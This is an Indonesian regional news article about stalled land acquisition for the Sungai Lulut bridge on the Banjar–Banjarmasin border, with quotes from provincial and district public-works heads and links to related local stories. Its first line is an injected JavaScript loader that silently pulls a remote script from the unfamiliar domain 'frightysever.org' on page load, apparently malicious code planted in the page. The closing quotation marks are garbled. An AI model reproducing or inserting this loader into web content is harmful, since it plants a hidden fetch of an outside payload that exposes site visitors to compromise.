(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Rencana pembangunan jembatan penghubung di perbatasan Kabupaten Banjar dan Kota Banjarmasin, tepatnya jembatan Sungai Lulut masih mengalami kendala pembebasan lahan di sekitar area pembangunan.
Menurut Kepala Dinas PUPR Banjar M Hilman, karena aset tersebut merupakan kewenangan Pemerintah Provinsi Kalimantan Selatan, rencana pelimpahan kepada Dinas PUPR Banjar tidak akan menolak proyek tersebut. Dipelajari dulu aturannya, dengan catatan harus ada surat resmi permohonan pelimpahan permohonan kewenangan dari Pemerintah Provinsi Kalsel.
“Aset jalan di bawah jembatan tersebut kalau dilihat memang wilayah Kabupaten Banjar, namun menjadi kewenangan Pemprov Kalsel, hal itu sudah kami kordinasikan dengan Sekda Banjar. Kami akan pelajari dulu, dan tunggu surat permohonan dari provinsi,†ujarnya.
Perlu diketahui sebelumnya, disampaikan Kepala Dinas PUPR Provinsi Kalsel Roy Rizali Anwar, hingga kini masih belum dilakukan pembebasan lahan dari kedua pemerintah antara Kabupaten Banjar dengan Kota Banjarmasin.
“Apabila pembebasan lahan belum tuntas, maka jembatan tersebut tidak bisa dibangun. Diharapkan pada anggaran APBD perubahan tahun 2018 ini, baik pihak Pemerintah Kota Banjarmasin maupun Pemerintah Kabupaten Banjar mengalokasikan anggaran untuk konsultan appraisal untuk menilai dan mendata asumsi berapa yang dibutuhkan untuk pembebasan lahan tersebut,†ujarnya.
Roy Rizali Anwar mengakui untuk pembebasan lahan di area pembangunan tersebut tidak mudah dan pastinya membutuhkan proses panjang. Walau demikian pihaknya tetap berharap pembebasan lahan tersebut dapat diselesaikan sebelum bulan Juni 2019.
Menurut Roy pihaknya akan mengalokasikan anggaran untuk pembangunan di 3 buah jembatan yakni jembatan Sungai Lulut, jembatan Sungai Gardu 1 dan jembatan Sungai Gardu 2 , tapi pelaksanaanya menunggu kepastian pembebasan lahan.
“Jika dalam prosesnnya hingga 2019 lahan tersebut tidak dibebaskan oleh kabupaten/kota, maka proses pembangunan jalan yang menghubungakan jalan provinsi tersebut akan ditunda, hingga pembebasan lahan tuntas sepenuhnya,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.